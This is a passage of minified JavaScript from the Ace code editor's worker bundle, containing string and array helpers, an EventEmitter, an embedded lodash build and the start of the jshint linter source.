o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/javascript/jshint\",[\"require\",\"exports\",\"module\"],function(e,t,n){n.exports=function r(t,n,i){function o(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(s)return s(u,!0);var l=new Error(\"Cannot find module '\"+u+\"'\");throw l.code=\"MODULE_NOT_FOUND\",l}var c=n[u]={exports:{}};t[u][0].call(c.exports,function(e){var n=t[u][1][e];return o(n?n:e)},c,c.exports,r,t,n,i)}return n[u].exports}var s=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)o(i[u]);return o(i[0])}({\"/node_modules/browserify/node_modules/events/events.js\":[function(e,t,n){function r(){this._events=this._events||{},this._maxListeners=this._maxListeners||undefined}function i(e){return typeof e==\"function\"}function s(e){return typeof e==\"number\"}function o(e){return typeof e==\"object\"&&e!==null}function u(e){return e===void 0}t.exports=r,r.EventEmitter=r,r.prototype._events=undefined,r.prototype._maxListeners=undefined,r.defaultMaxListeners=10,r.prototype.setMaxListeners=function(e){if(!s(e)||e<0||isNaN(e))throw TypeError(\"n must be a positive number\");return this._maxListeners=e,this},r.prototype.emit=function(e){var t,n,r,s,a,f;this._events||(this._events={});if(e===\"error\")if(!this._events.error||o(this._events.error)&&!this._events.error.length)throw t=arguments[1],t instanceof Error?t:TypeError('Uncaught, unspecified \"error\" event.');n=this._events[e];if(u(n))return!1;if(i(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];n.apply(this,s)}else if(o(n)){r=arguments.length,s=new Array(r-1);for(a=1;a<r;a++)s[a-1]=arguments[a];f=n.slice(),r=f.length;for(a=0;a<r;a++)f[a].apply(this,s)}return!0},r.prototype.addListener=function(e,t){var n;if(!i(t))throw TypeError(\"listener must be a function\");this._events||(this._events={}),this._events.newListener&&this.emit(\"newListener\",e,i(t.listener)?t.listener:t),this._events[e]?o(this._events[e])?this._events[e].push(t):this._events[e]=[this._events[e],t]:this._events[e]=t;if(o(this._events[e])&&!this._events[e].warned){var n;u(this._maxListeners)?n=r.defaultMaxListeners:n=this._maxListeners,n&&n>0&&this._events[e].length>n&&(this._events[e].warned=!0,console.error(\"(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.\",this._events[e].length),typeof console.trace==\"function\"&&console.trace())}return this},r.prototype.on=r.prototype.addListener,r.prototype.once=function(e,t){function r(){this.removeListener(e,r),n||(n=!0,t.apply(this,arguments))}if(!i(t))throw TypeError(\"listener must be a function\");var n=!1;return r.listener=t,this.on(e,r),this},r.prototype.removeListener=function(e,t){var n,r,s,u;if(!i(t))throw TypeError(\"listener must be a function\");if(!this._events||!this._events[e])return this;n=this._events[e],s=n.length,r=-1;if(n===t||i(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit(\"removeListener\",e,t);else if(o(n)){for(u=s;u-->0;)if(n[u]===t||n[u].listener&&n[u].listener===t){r=u;break}if(r<0)return this;n.length===1?(n.length=0,delete this._events[e]):n.splice(r,1),this._events.removeListener&&this.emit(\"removeListener\",e,t)}return this},r.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return arguments.length===0?this._events={}:this._events[e]&&delete this._events[e],this;if(arguments.length===0){for(t in this._events){if(t===\"removeListener\")continue;this.removeAllListeners(t)}return this.removeAllListeners(\"removeListener\"),this._events={},this}n=this._events[e];if(i(n))this.removeListener(e,n);else while(n.length)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},r.prototype.listeners=function(e){var t;return!this._events||!this._events[e]?t=[]:i(this._events[e])?t=[this._events[e]]:t=this._events[e].slice(),t},r.listenerCount=function(e,t){var n;return!e._events||!e._events[t]?n=0:i(e._events[t])?n=1:n=e._events[t].length,n}},{}],\"/node_modules/jshint/data/ascii-identifier-data.js\":[function(e,t,n){var r=[];for(var i=0;i<128;i++)r[i]=i===36||i>=65&&i<=90||i===95||i>=97&&i<=122;var s=[];for(var i=0;i<128;i++)s[i]=r[i]||i>=48&&i<=57;t.exports={asciiIdentifierStartTable:r,asciiIdentifierPartTable:s}},{}],\"/node_modules/jshint/lodash.js\":[function(e,t,n){(function(e){(function(){function $(e,t,n){var r=e.length,i=n?r:-1;while(n?i--:++i<r)if(t(e[i],i,e))return i;return-1}function J(e,t,n){if(t!==t)return G(e,n);var r=n-1,i=e.length;while(++r<i)if(e[r]===t)return r;return-1}function K(e){return typeof e==\"function\"||!1}function Q(e){return typeof e==\"string\"?e:e==null?\"\":e+\"\"}function G(e,t,n){var r=e.length,i=t+(n?0:-1);while(n?i--:++i<r){var s=e[i];if(s!==s)return i}return-1}function Y(e){return!!e&&typeof e==\"object\"}function Ct(){}function Lt(e,t){var n=-1,r=e.length;t||(t=Array(r));while(++n<r)t[n]=e[n];return t}function At(e,t){var n=-1,r=e.length;while(++n<r)if(t(e[n],n,e)===!1)break;return e}function Ot(e,t){var n=-1,r=e.length,i=-1,s=[];while(++n<r){var o=e[n];t(o,n,e)&&(s[++i]=o)}return s}function Mt(e,t){var n=-1,r=e.length,i=Array(r);while(++n<r)i[n]=t(e[n],n,e);return i}function _t(e){var t=-1,n=e.length,r=wt;while(++t<n){var i=e[t];i>r&&(r=i)}return r}function Dt(e,t){var n=-1,r=e.length;while(++n<r)if(t(e[n],n,e))return!0;return!1}function Pt(e,t,n){var i=rr(t);lt.apply(i,bn(t));var s=-1,o=i.length;while(++s<o){var u=i[s],a=e[u],f=n(a,t[u],u,e,t);if((f===f?f!==a:a===a)||a===r&&!(u in e))e[u]=f}return e}function Bt(e,t,n){n||(n={});var r=-1,i=t.length;while(++r<i){var s=t[r];n[s]=e[s]}return n}function jt(e,t,n){var i=typeof e;return i==\"function\"?t===r?e:on(e,t,n):e==null?lr:i==\"object\"?Jt(e):t===r?cr(e):Kt(e,t)}function Ft(e,t,n,i,s,u,a){var f;n&&(f=s?n(e,i,s):n(e));if(f!==r)return f;if(!Jn(e))return e;var l=Xn(e);if(l){f=wn(e);if(!t)return Lt(e,f)}else{var h=rt.call(e),p=h==c;if(!(h==d||h==o||p&&!s))return F[h]?Sn(e,h,t):s?e:{};f=En(p?{}:e);if(!t)return Ht(f,e)}u||(u=[]),a||(a=[]);var v=u.length;while(v--)if(u[v]==e)return a[v];return u.push(e),a.push(f),(l?At:zt)(e,function(r,i){f[i]=Ft(r,t,n,i,e,u,a)}),f}function qt(e,t){var n=[];return It(e,function(e,r,i){t(e,r,i)&&n.push(e)}),n}function Ut(e,t){return Rt(e,t,ir)}function zt(e,t){return Rt(e,t,rr)}function Wt(e,t,n){if(e==null)return;n!==r&&n in On(e)&&(t=[n]);var i=-1,s=t.length;while(e!=null&&++i<s)var o=e=e[t[i]];return o}function Xt(e,t,n,r,i,s){if(e===t)return e!==0||1/e==1/t;var o=typeof e,u=typeof t;return o!=\"function\"&&o!=\"object\"&&u!=\"function\"&&u!=\"object\"||e==null||t==null?e!==e&&t!==t:Vt(e,t,Xt,n,r,i,s)}function Vt(e,t,n,r,i,s,a){var f=Xn(e),l=Xn(t),c=u,h=u;f||(c=rt.call(e),c==o?c=d:c!=d&&(f=Zn(e))),l||(h=rt.call(t),h==o?h=d:h!=d&&(l=Zn(t)));var p=c==d,v=h==d,m=c==h;if(m&&!f&&!p)return dn(e,t,c);if(!i){var g=p&&nt.call(e,\"__wrapped__\"),y=v&&nt.call(t,\"__wrapped__\");if(g||y)return n(g?e.value():e,y?t.value():t,r,i,s,a)}if(!m)return!1;s||(s=[]),a||(a=[]);var b=s.length;while(b--)if(s[b]==e)return a[b]==t;s.push(e),a.push(t);var w=(f?pn:vn)(e,t,n,r,i,s,a);return s.pop(),a.pop(),w}function $t(e,t,n,i,s){var o=-1,u=t.length,a=!s;while(++o<u)if(a&&i[o]?n[o]!==e[t[o]]:!(t[o]in e))return!1;o=-1;while(++o<u){var f=t[o],l=e[f],c=n[o];if(a&&i[o])var h=l!==r||f in e;else h=s?s(l,c,f):r,h===r&&(h=Xt(c,l,s,!0));if(!h)return!1}return!0}function Jt(e){var t=rr(e),n=t.length;if(!n)return fr(!0);if(n==1){var i=t[0],s=e[i];if(kn(s))return function(e){return e==null?!1:e[i]===s&&(s!==r||i in On(e))}}var o=Array(n),u=Array(n);while(n--)s=e[t[n]],o[n]=s,u[n]=kn(s);return function(e){return e!=null&&$t(On(e),t,o,u)}}function Kt(e,t){var n=Xn(e),i=Nn(e)&&kn(t),s=e+\"\";return e=Mn(e),function(o){if(o==null)return!1;var u=s;o=On(o);if((n||!i)&&!(u in o)){o=e.length==1?o:Wt(o,en(e,0,-1));if(o==null)return!1;u=Pn(e),o=On(o)}return o[u]===t?t!==r||u in o:Xt(t,o[u],null,!0)}}function Qt(e,t,n,i,s){if(!Jn(e))return e;var o=Cn(t.length)&&(Xn(t)||Zn(t));if(!o){var u=rr(t);lt.apply(u,bn(t))}return At(u||t,function(a,f){u&&(f=a,a=t[f]);if(Y(a))i||(i=[]),s||(s=[]),Gt(e,t,f,Qt,n,i,s);else{var l=e[f],c=n?n(l,a,f,e,t):r,h=c===r;h&&(c=a),(o||c!==r)&&(h||(c===c?c!==l:l===l))&&(e[f]=c)}}),e}function Gt(e,t,n,i,s,o,u){var a=o.length,f=t[n];while(a--)if(o[a]==f){e[n]=u[a];return}var l=e[n],c=s?s(l,f,n,e,t):r,h=c===r;h&&(c=f,Cn(f.length)&&(Xn(f)||Zn(f))?c=Xn(l)?l:yn(l)?Lt(l):[]:Gn(f)||Wn(f)?c=Wn(l)?er(l):Gn(l)?l:{}:h=!1),o.push(f),u.push(c);if(h)e[n]=i(c,f,s,o,u);else if(c===c?c!==l:l===l)e[n]=c}function Yt(e){return function(t){return t==null?r:t[e]}}function Zt(e){var t=e+\"\";return e=Mn(e),function(n){return Wt(n,e,t)}}function en(e,t,n){var i=-1,s=e.length;t=t==null?0:+t||0,t<0&&(t=-t>s?0:s+t),n=n===r||n>s?s:+n||0,n<0&&(n+=s),s=t>n?0:n-t>>>0,t>>>=0;var o=Array(s);while(++i<s)o[i]=e[i+t];return o}function tn(e,t){var n;return It(e,function(e,r,i){return n=t(e,r,i),!n}),!!n}function nn(e,t){var n=-1,r=t.length,i=Array(r);while(++n<r)i[n]=e[t[n]];return i}function rn(e,t,n){var r=0,i=e?e.length:r;if(typeof t==\"number\"&&t===t&&i<=xt){while(r<i){var s=r+i>>>1,o=e[s];(n?o<=t:o<t)?r=s+1:i=s}return i}return sn(e,t,lr,n)}function sn(e,t,n,i){t=n(t);var s=0,o=e?e.length:0,u=t!==t,a=t===r;while(s<o){var f=ut((s+o)/2),l=n(e[f]),c=l===l;if(u)var h=c||i;else a?h=c&&(i||l!==r):h=i?l<=t:l<t;h?s=f+1:o=f}return bt(o,St)}function on(e,t,n){if(typeof e!=\"function\")return lr;if(t===r)return e;switch(n){case 1:return function(n){return e.call(t,n)};case 3:return function(n,r,i){return e.call(t,n,r,i)};case 4:return function(n,r,i,s){return e.call(t,n,r,i,s)};case 5:return function(n,r,i,s,o){return e.call(t,n,r,i,s,o)}}return function(){return e.apply(t,arguments)}}function un(e){return ot.call(e,0)}function an(e){return Un(function(t,n){var r=-1,i=t==null?0:n.length,s=i>2&&n[i-2],o=i>2&&n[2],u=i>1&&n[i-1];typeof s==\"function\"?(s=on(s,u,5),i-=2):(s=typeof u==\"function\"?u:null,i-=s?1:0),o&&Tn(n[0],n[1],o)&&(s=i<3?null:s,i=1);while(++r<i){var a=n[r];a&&e(t,a,s)}return t})}function fn(e,t){return function(n,r){var i=n?yn(n):0;if(!Cn(i))return e(n,r);var s=t?i:-1,o=On(n);while(t?s--:++s<i)if(r(o[s],s,o)===!1)break;return n}}function ln(e){return function(t,n,r){var i=On(t),s=r(t),o=s.length,u=e?o:-1;while(e?u--:++u<o){var a=s[u];if(n(i[a],a,i)===!1)break}return t}}function cn(e){return function(t,n,r){return!t||!t.length?-1:(n=mn(n,r,3),$(t,n,e))}}function hn(e,t){return function(n,i,s){return typeof i==\"function\"&&s===r&&Xn(n)?e(n,i):t(n,on(i,s,3))}}function pn(e,t,n,i,s,o,u){var a=-1,f=e.length,l=t.length,c=!0;if(f!=l&&!(s&&l>f))return!1;while(c&&++a<f){var h=e[a],p=t[a];c=r,i&&(c=s?i(p,h,a):i(h,p,a));if(c===r)if(s){var d=l;while(d--){p=t[d],c=h&&h===p||n(h,p,i,s,o,u);if(c)break}}else c=h&&h===p||n(h,p,i,s,o,u)}return!!c}function dn(e,t,n){switch(n){case a:case f:return+e==+t;case l:return e.name==t.name&&e.message==t.message;case p:return e!=+e?t!=+t:e==0?1/e==1/t:e==+t;case v:case g:return e==t+\"\"}return!1}function vn(e,t,n,i,s,o,u){var a=rr(e),f=a.length,l=rr(t),c=l.length;if(f!=c&&!s)return!1;var h=s,p=-1;while(++p<f){var d=a[p],v=s?d in t:nt.call(t,d);if(v){var m=e[d],g=t[d];v=r,i&&(v=s?i(g,m,d):i(m,g,d)),v===r&&(v=m&&m===g||n(m,g,i,s,o,u))}if(!v)return!1;h||(h=d==\"constructor\")}if(!h){var y=e.constructor,b=t.constructor;if(y!=b&&\"constructor\"in e&&\"constructor\"in t&&!(typeof y==\"function\"&&y instanceof y&&typeof b==\"function\"&&b instanceof b))return!1}return!0}function mn(e,t,n){var r=Ct.callback||ar;return r=r===ar?jt:r,n?r(e,t,n):r}function gn(e,t,n){var r=Ct.indexOf||Dn;return r=r===Dn?J:r,e?r(e,t,n):r}function wn(e){var t=e.length,n=new e.constructor(t);return t&&typeof e[0]==\"string\"&&nt.call(e,\"index\")&&(n.index=e.index,n.input=e.input),n}function En(e){var t=e.constructor;return typeof t==\"function\"&&t instanceof t||(t=Object),new t}function Sn(e,t,n){var r=e.constructor;switch(t){case b:return un(e);case a:case f:return new r(+e);case w:case E:case S:case x:case T:case N:case C:case k:case L:var i=e.buffer;return new r(n?un(i):i,e.byteOffset,e.length);case p:case g:return new r(e);case v:var s=new r(e.source,H.exec(e));s.lastIndex=e.lastIndex}return s}function xn(e,t){return e=+e,t=t==null?Nt:t,e>-1&&e%1==0&&e<t}function Tn(e,t,n){if(!Jn(n))return!1;var r=typeof t;if(r==\"number\")var i=yn(n),s=Cn(i)&&xn(t,i);else s=r==\"string\"&&t in n;if(s){var o=n[t];return e===e?e===o:o!==o}return!1}function Nn(e,t){var n=typeof e;if(n==\"string\"&&O.test(e)||n==\"number\")return!0;if(Xn(e))return!1;var r=!A.test(e);return r||t!=null&&e in On(t)}function Cn(e){return typeof e==\"number\"&&e>-1&&e%1==0&&e<=Nt}function kn(e){return e===e&&(e===0?1/e>0:!Jn(e))}function Ln(e){var t,n=Ct.support;if(!Y(e)||rt.call(e)!=d||!nt.call(e,\"constructor\")&&(t=e.constructor,typeof t==\"function\"&&!(t instanceof t)))return!1;var i;return Ut(e,function(e,t){i=t}),i===r||nt.call(e,i)}function An(e){var t=ir(e),n=t.length,r=n&&e.length,i=Ct.support,s=r&&Cn(r)&&(Xn(e)||i.nonEnumArgs&&Wn(e)),o=-1,u=[];while(++o<n){var a=t[o];(s&&xn(a,r)||nt.call(e,a))&&u.push(a)}return u}function On(e){return Jn(e)?e:Object(e)}function Mn(e){if(Xn(e))return e;var t=[];return Q(e).replace(M,function(e,n,r,i){t.push(r?i.replace(P,\"$1\"):n||e)}),t}function Dn(e,t,n){var r=e?e.length:0;if(!r)return-1;if(typeof n==\"number\")n=n<0?yt(r+n,0):n;else if(n){var i=rn(e,t),s=e[i];return(t===t?t===s:s!==s)?i:-1}return J(e,t,n||0)}function Pn(e){var t=e?e.length:0;return t?e[t-1]:r}function Hn(e,t,n){var r=e?e.length:0;return r?(n&&typeof n!=\"number\"&&Tn(e,t,n)&&(t=0,n=r),en(e,t,n)):[]}function Bn(e){var t=-1,n=(e&&e.length&&_t(Mt(e,yn)))>>>0,r=Array(n);while(++t<n)r[t]=Mt(e,Yt(t));return r}function In(e,t,n,r){var i=e?yn(e):0;return Cn(i)||(e=or(e),i=e.length),i?(typeof n!=\"number\"||r&&Tn(t,n,r)?n=0:n=n<0?yt(i+n,0):n||0,typeof e==\"string\"||!Xn(e)&&Yn(e)?n<i&&e.indexOf(t,n)>-1:gn(e,t,n)>-1):!1}function qn(e,t,n){var r=Xn(e)?Ot:qt;return t=mn(t,n,3),r(e,function(e,n,r){return!t(e,n,r)})}function Rn(e,t,n){var i=Xn(e)?Dt:tn;n&&Tn(e,t,n)&&(t=null);if(typeof t!=\"function\"||n!==r)t=mn(t,n,3);return i(e,t)}function Un(e,t){if(typeof e!=\"function\")throw new TypeError(s);return t=yt(t===r?e.length-1:+t||0,0),function(){var n=arguments,r=-1,i=yt(n.length-t,0),s=Array(i);while(++r<i)s[r]=n[t+r];switch(t){case 0:return e.call(this,s);case 1:return e.call(this,n[0],s);case 2:return e.call(this,n[0],n[1],s)}var o=Array(t+1);r=-1;while(++r<t)o[r]=n[r];return o[t]=s,e.apply(this,o)}}function zn(e,t,n,r){return t&&typeof t!=\"boolean\"&&Tn(e,t,n)?t=!1:typeof t==\"function\"&&(r=n,n=t,t=!1),n=typeof n==\"function\"&&on(n,r,1),Ft(e,t,n)}function Wn(e){var t=Y(e)?e.length:r;return Cn(t)&&rt.call(e)==o}function Vn(e){if(e==null)return!0;var t=yn(e);return Cn(t)&&(Xn(e)||Yn(e)||Wn(e)||Y(e)&&$n(e.splice))?!t:!rr(e).length}function Jn(e){var t=typeof e;return t==\"function\"||!!e&&t==\"object\"}function Kn(e){return e==null?!1:rt.call(e)==c?it.test(tt.call(e)):Y(e)&&B.test(e)}function Qn(e){return typeof e==\"number\"||Y(e)&&rt.call(e)==p}function Yn(e){return typeof e==\"string\"||Y(e)&&rt.call(e)==g}function Zn(e){return Y(e)&&Cn(e.length)&&!!j[rt.call(e)]}function er(e){return Bt(e,ir(e))}function nr(e,t){if(e==null)return!1;var n=nt.call(e,t);return!n&&!Nn(t)&&(t=Mn(t),e=t.length==1?e:Wt(e,en(t,0,-1)),t=Pn(t),n=e!=null&&nt.call(e,t)),n}function ir(e){if(e==null)return[];Jn(e)||(e=Object(e));var t=e.length;t=t&&Cn(t)&&(Xn(e)||kt.nonEnumArgs&&Wn(e))&&t||0;var n=e.constructor,r=-1,i=typeof n==\"function\"&&n.prototype===e,s=Array(t),o=t>0;while(++r<t)s[r]=r+\"\";for(var u in e)(!o||!xn(u,t))&&(u!=\"constructor\"||!i&&!!nt.call(e,u))&&s.push(u);return s}function or(e){return nn(e,rr(e))}function ur(e){return e=Q(e),e&&D.test(e)?e.replace(_,\"\\\\$&\"):e}function ar(e,t,n){return n&&Tn(e,t,n)&&(t=null),jt(e,t)}function fr(e){return function(){return e}}function lr(e){return e}function cr(e){return Nn(e)?Yt(e):Zt(e)}var r,i=\"3.7.0\",s=\"Expected a function\",o=\"[object Arguments]\",u=\"[object Array]\",a=\"[object Boolean]\",f=\"[object Date]\",l=\"[object Error]\",c=\"[object Function]\",h=\"[object Map]\",p=\"[object Number]\",d=\"[object Object]\",v=\"[object RegExp]\",m=\"[object Set]\",g=\"[object String]\",y=\"[object WeakMap]\",b=\"[object ArrayBuffer]\",w=\"[object Float32Array]\",E=\"[object Float64Array]\",S=\"[object Int8Array]\",x=\"[object Int16Array]\",T=\"[object Int32Array]\",N=\"[object Uint8Array]\",C=\"[object Uint8ClampedArray]\",k=\"[object Uint16Array]\",L=\"[object Uint32Array]\",A=/\\.|\\[(?:[^[\\]]+|([\"'])(?:(?!\\1)[^\\n\\\\]|\\\\.)*?)\\1\\]/,O=/^\\w*$/,M=/[^.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|([\"'])((?:(?!\\2)[^\\n\\\\]|\\\\.)*?)\\2)\\]/g,_=/[.*+?^${}()|[\\]\\/\\\\]/g,D=RegExp(_.source),P=/\\\\(\\\\)?/g,H=/\\w*$/,B=/^\\[object .+?Constructor\\]$/,j={};j[w]=j[E]=j[S]=j[x]=j[T]=j[N]=j[C]=j[k]=j[L]=!0,j[o]=j[u]=j[b]=j[a]=j[f]=j[l]=j[c]=j[h]=j[p]=j[d]=j[v]=j[m]=j[g]=j[y]=!1;var F={};F[o]=F[u]=F[b]=F[a]=F[f]=F[w]=F[E]=F[S]=F[x]=F[T]=F[p]=F[d]=F[v]=F[g]=F[N]=F[C]=F[k]=F[L]=!0,F[l]=F[c]=F[h]=F[m]=F[y]=!1;var I={\"function\":!0,object:!0},q=I[typeof n]&&n&&!n.nodeType&&n,R=I[typeof t]&&t&&!t.nodeType&&t,U=q&&R&&typeof e==\"object\"&&e&&e.Object&&e,z=I[typeof self]&&self&&self.Object&&self,W=I[typeof window]&&window&&window.Object&&window,X=R&&R.exports===q&&q,V=U||W!==(this&&this.window)&&W||z||this,Z=Array.prototype,et=Object.prototype,tt=Function.prototype.toString,nt=et.hasOwnProperty,rt=et.toString,it=RegExp(\"^\"+ur(rt).replace(/toString|(function).*?(?=\\\\\\()| for .+?(?=\\\\\\])/g,\"$1.*?\")+\"$\"),st=Kn(st=V.ArrayBuffer)&&st,ot=Kn(ot=st&&(new st(0)).slice)&&ot,ut=Math.floor,at=Kn(at=Object.getOwnPropertySymbols)&&at,ft=Kn(ft=Object.getPrototypeOf)&&ft,lt=Z.push,ct=Kn(Object.preventExtensions=Object.preventExtensions)&&ct,ht=et.propertyIsEnumerable,pt=Kn(pt=V.Uint8Array)&&pt,dt=function(){try{var e=Kn(e=V.Float64Array)&&e,t=new e(new st(10),0,1)&&e}catch(n){}return t}(),vt=function(){var e={1:0},t=ct&&Kn(t=Object.assign)&&t;try{t(ct(e),\"xo\")}catch(n){}return!e[1]&&t}(),mt=Kn(mt=Array.isArray)&&mt,gt=Kn(gt=Object.keys)&&gt,yt=Math.max,bt=Math.min,wt=Number.NEGATIVE_INFINITY,Et=Math.pow(2,32)-1,St=Et-1,xt=Et>>>1,Tt=dt?dt.BYTES_PER_ELEMENT:0,Nt=Math.pow(2,53)-1,kt=Ct.support={};(function(e){var t=function(){this.x=e},n={0:e,length:e},r=[];t.prototype={valueOf:e,y:e};for(var i in new t)r.push(i);kt.funcDecomp=/\\bthis\\b/.test(function(){return this}),kt.funcNames=typeof Function.name==\"string\";try{kt.nonEnumArgs=!ht.call(arguments,1)}catch(s){kt.nonEnumArgs=!0}})(1,0);var Ht=vt||function(e,t){return t==null?e:Bt(t,bn(t),Bt(t,rr(t),e))},It=fn(zt),Rt=ln();ot||(un=!st||!pt?fr(null):function(e){var t=e.byteLength,n=dt?ut(t/Tt):0,r=n*Tt,i=new st(t);if(n){var s=new dt(i,0,n);s.set(new dt(e,0,n))}return t!=r&&(s=new pt(i,r),s.set(new pt(e,r))),i});var yn=Yt(\"length\"),bn=at?function(e){return at(On(e))}:fr([]),_n=cn(!0),jn=Un(Bn),Fn=hn(At,It),Xn=mt||function(e){return Y(e)&&Cn(e.length)&&rt.call(e)==u},$n=K(/x/)||pt&&!K(pt)?function(e){return rt.call(e)==c}:K,Gn=ft?function(e){if(!e||rt.call(e)!=d)return!1;var t=e.valueOf,n=Kn(t)&&(n=ft(t))&&ft(n);return n?e==n||ft(e)==n:Ln(e)}:Ln,tr=an(function(e,t,n){return n?Pt(e,t,n):Ht(e,t)}),rr=gt?function(e){if(e)var t=e.constructor,n=e.length;return typeof t==\"function\"&&t.prototype===e||typeof e!=\"function\"&&Cn(n)?An(e):Jn(e)?gt(e):[]}:An,sr=an(Qt);Ct.assign=tr,Ct.callback=ar,Ct.constant=fr,Ct.forEach=Fn,Ct.keys=rr,Ct.keysIn=ir,Ct.merge=sr,Ct.property=cr,Ct.reject=qn,Ct.restParam=Un,Ct.slice=Hn,Ct.toPlainObject=er,Ct.unzip=Bn,Ct.values=or,Ct.zip=jn,Ct.each=Fn,Ct.extend=tr,Ct.iteratee=ar,Ct.clone=zn,Ct.escapeRegExp=ur,Ct.findLastIndex=_n,Ct.has=nr,Ct.identity=lr,Ct.includes=In,Ct.indexOf=Dn,Ct.isArguments=Wn,Ct.isArray=Xn,Ct.isEmpty=Vn,Ct.isFunction=$n,Ct.isNative=Kn,Ct.isNumber=Qn,Ct.isObject=Jn,Ct.isPlainObject=Gn,Ct.isString=Yn,Ct.isTypedArray=Zn,Ct.last=Pn,Ct.some=Rn,Ct.any=Rn,Ct.contains=In,Ct.include=In,Ct.VERSION=i,q&&R?X?(R.exports=Ct)._=Ct:q._=Ct:V._=Ct}).call(this)}).call(this,typeof global!=\"undefined\"?global:typeof self!=\"undefined\"?self:typeof window!=\"undefined\"?window:{})},{}],\"/node_modules/jshint/src/jshint.js\":[function(e,t,n){var r=e(\"../lodash\"),i=e(\"events\"),s=e(\"./vars.js\"),o=e(\"./messages.js\"),u=e(\"./lex.js\").Lexer,a=e(\"./reg.js\"),f=e(\"./state.js\").state,l=e(\"./style.js\"),c=e(\"./options.js\"),h=e(\"./scope-manager.js\"),p=function(){\"use strict\";function k(e,t){return e=e.trim(),/^[+-]W\\d{3}$/g.test(e)?!0:c.validNames.indexOf(e)===-1&&t.type!==\"jslint\"&&!r.has(c.removed,e)?(q(\"E001\",t,e),!1):!0}function L(e){return Object.prototype.toString.call(e)===\"[object String]\"}function A(e,t){return e?!e.identifier||e.value!==t?!1:!0:!1}function O(e){if(!e.reserved)return!1;var t=e.meta;if(t&&t.isFutureReservedWord&&f.inES5()){if(!t.es5)return!1;if(t.strictOnly&&!f.option.strict&&!f.isStrict())return!1;if(e.isProperty)return!1}return!0}function M(e,t){return e.replace(/\\{([^{}]*)\\}/g,function(e,n){var r=t[n];return typeof r==\"string\"||typeof r==\"number\"?r:e})}function D(e,t){Object.keys(t).forEach(function(n){if(r.has(p.blacklist,n))return;e[n]=t[n]})}function P(){if(f.option.enforceall){for(var e in c.bool.enforcing)f.option[e]===undefined&&!c.noenforceall[e]&&(f.option[e]=!0);for(var t in c.bool.relaxing)f.option[t]===undefined&&(f.option[t]=!1)}}function 